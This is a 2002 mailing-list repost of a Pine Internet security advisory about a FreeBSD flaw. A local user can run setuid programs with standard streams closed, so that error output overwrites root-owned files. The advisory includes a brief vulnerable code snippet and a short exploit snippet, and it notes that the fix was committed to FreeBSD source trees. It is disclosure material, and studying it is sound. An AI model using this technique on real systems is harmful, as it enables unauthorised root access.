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Pine Internet Advisory: Setuid application execution may give local root in FreeBSD

daemon@ATHENA.MIT.EDU (Patrick Oonk)
Mon Apr 22 17:54:07 2002

Date: Mon, 22 Apr 2002 10:58:25 +0200
From: Patrick Oonk <patrick@pine.nl>
To: bugtraq@securityfocus.com
Cc: vulnwatch@vulnwatch.org
Message-ID: <20020422085825.GG6162@pine.nl>
Reply-To: cert@pine.nl
Mime-Version: 1.0
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Resent-From: patrick@pine.nl
Resent-To: bugtraq@securityfocus.com

-----BEGIN PGP SIGNED MESSAGE-----

 -----------------------------------------------------------------------------
 Pine Internet Security Advisory
 -----------------------------------------------------------------------------
 Advisory ID       : PINE-CERT-20020401
 Authors           : Joost Pol <joost@pine.nl>
 Issue date        : 2002-04-22 
 Application       : Multiple
 Version(s)        : Multiple 
 Platforms         : FreeBSD confirmed, maybe others.
 Vendor informed   : 20020406 
 Availability      : http://www.pine.nl/advisories/pine-cert-20020401.txt
 -----------------------------------------------------------------------------

Synopsis

	It is possible for a local user to execute a suid application with 
	stdin, stdout or stderr closed.

Impact

	HIGH. Local users should be able to gain root privileges. 

Description

	Consider the following (imaginary) suid application:

	-- begin of imaginary code snippet

		FILE * f = fopen("/etc/root_owned_file", "r+");

		if(f) {
		
			fprintf(stderr, "%s: fopen() succeeded\n", argv[0]);

			fclose(f);
		}

	-- end of imaginary code snippet
		
	Now, consider the following (imaginary) exploit:

	-- begin of imaginary exploit snippet

		while(dup(1) != -1); 

		close(2);

		execl("/path/to/suid_application",
		      "this text will endup in the root_owned_file", 0);

	-- end of imaginary exploit snippet

	Exploitation has been confirmed using the S/KEY binaries. 

Solution

	FreeBSD source trees have been updated on the 21th of april 2002. 
	Please cvsup.


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-- 
 patrick oonk - pine internet - patrick@pine.nl - www.pine.nl/~patrick
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